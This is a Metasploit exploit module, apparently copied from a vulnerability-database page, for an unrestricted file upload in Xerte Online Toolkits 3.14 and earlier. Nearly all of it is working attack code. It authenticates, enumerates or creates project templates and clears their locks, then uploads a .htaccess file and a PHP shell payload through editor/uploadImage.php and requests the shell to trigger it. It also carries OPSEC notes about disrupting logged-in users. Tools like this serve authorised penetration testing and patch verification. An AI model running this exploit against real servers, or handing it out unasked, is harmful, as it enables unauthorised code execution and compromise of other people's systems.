##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Upload Image',
'Description' => %q{
This module exploits the user template file import function's unrestricted
file upload in versions 3.14 and earlier to upload and execute a shell.
This targets editor/uploadImage.php.
This has only been tested in implementations where the authentication type is "Db".
OPSEC
- if the user is logged in elsewhere, they may experience interruptions
- several requests sent to the server and activity is logged
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Lester'
],
'References' => [
['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
],
'Privileged' => false,
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DisclosureDate' => '2025-08-04',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits']),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ])
]
)
end
def login
print_status('Attempting to authenticate...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/'),
'method' => 'POST',
'vars_post' => {
'login' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'keep_cookies' => true
)
unless (res&.code == 200 || (res&.code == 302 && res.headers['Location'] == 'management.php')) && res.get_cookies.include?('PHPSESSID')
fail_with(Failure::NoAccess, 'Failed to authenticate with the target.')
end
print_good('Authentication successful.')
end
def check
print_status('Performing check')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
})
if res&.code == 200
if res.body.include?('No valid language definition found in the file!')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end
def trigger_payload
print_good("Triggering shell at #{@web_path}")
# using for loop with the range
shell_uri = @web_path.gsub(/.*#{target_uri.path}/, '') # gsub(/\.*${target_uri.path()}\/, "")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, shell_uri, 'media', php_filename)
})
end
def upload_payload(my_payload, filename)
# construct the payload and upload
mime = Rex::MIME::Message.new
mime.add_part(my_payload, 'image/png', nil,
%(form-data; name="upload"; filename=#{filename}))
# web path will contain the full address, like `http://127.0.0.1:8180/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/` so trim it
mime.add_part(@media_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadPath"')
mime.add_part(@web_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadURL"')
# mediapath should be something like `/var/www/html/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/`
register_file_for_cleanup("#{@media_path}#{php_filename}")
register_file_for_cleanup("#{@media_path}.htaccess")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/editor/uploadImage.php'),
'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{mime.bound}" },
'data' => mime.to_s
)
if res && res.code.to_i == 200 && res.body.include?('Something went wrong while trying to uplod file!')
fail_with(Failure::UnexpectedReply, 'payload was not uploaded.')
end
end
def delete_lockfile(template_id)
# The previous step made a get request to the template, effectively locking it.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'edithtml.php'),
'vars_get' => {
'template_id' => template_id.to_s
},
'vars_post' => {
'lockfile_clear' => 'delete_lockfile'
}
})
html = res.get_html_document
vprint_status("Deleted lockfile for #{template_id}")
variable_block = html.at('[text()*="mediavariable="]').text
parse_template(variable_block)
end
def parse_template(template)
# extract important variables from the template
vprint_status('Parsing template')
template.each_line do |line|
if line && line.include?('mediavariable=')
@media_path = line.split('"')[1]
elsif line && line.include?('rlourlvariable')
@web_path = line.split('"')[1]
elsif line && line.include?('template_id')
@template_id = line.split('"')[1]
elsif line && line.include?('path = "')
line = line.strip
@template_path = line.split('"')[1]
end
end
vprint_status("Found media: #{@media_path}") unless @media_path.blank?
vprint_status("Found web path: #{@web_path}") unless @web_path.blank?
vprint_status("Found template: #{@template_id}") unless @template_id.blank?
end
def find_valid_template
# Iterates template ID's 1-20 to see if any exist and if the user has access.
found_template = false
for template_id in 1..20 do
vprint_line("Checking template ID #{template_id}")
res = send_request_cgi({ # this causes the template to become locked
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/edithtml.php'),
'vars_get' => {
'template_id' => template_id.to_s
}
})
if res&.code == 200
if res.body.to_s.include?('This project is currently locked as it is already being edited by you!')
delete_lockfile(template_id)
found_template = true
print_status("Found mediavariable at #{template_id}")
break
elsif res.body.to_s.include?('Invalid template_id (could not find in DB)')
vprint_line("Template #{template_id} doesn't exist")
elsif res.body.to_s.include?('Permission denied')
vprint_line("Template #{template_id} belongs to someone else")
else
vprint_line("Template ID #{template_id} is not locked")
delete_lockfile(template_id)
found_template = true
print_status("Found mediavariable at #{template_id}")
break
end
else
print_bad("Error with template #{template_id}")
end
end
unless found_template
# If no projects are found, create one
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'templates', 'new_template.php'),
'vars_post' => {
'tutorialid' => 'Nottingham',
'templatename' => 'Nottingham',
'tutorialname' => Rex::Text.rand_text_alpha(8),
'folder_id' => ''
}
})
if res&.code == 200 && !res.body.to_s.include?('FAILED-Failed to create new template record')
# Ensure the project was created
template_id = res.body.to_s.split(',')[0]
print_status("Created template (id: #{template_id})")
delete_lockfile(template_id)
found_template = true
end
end
# If for some reason, the previous project creation failed, it's probably best to create one manually.
fail_with(Failure::NotFound, 'User has no project templates, try logging in and creating one. Also, check whether more than 20 projects are already created.') unless found_template
end
def exploit
login
find_valid_template
# this exploit won't work unless a .htaccess file is also uploaded
upload_payload(htaccess_payload, '.htaccess')
upload_payload(payload.encoded, php_filename)
print_status('Uploaded the PHP Payload file')
trigger_payload
end
def php_filename
@php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
end
def htaccess_payload
<<~PAYLOAD
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
PAYLOAD
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation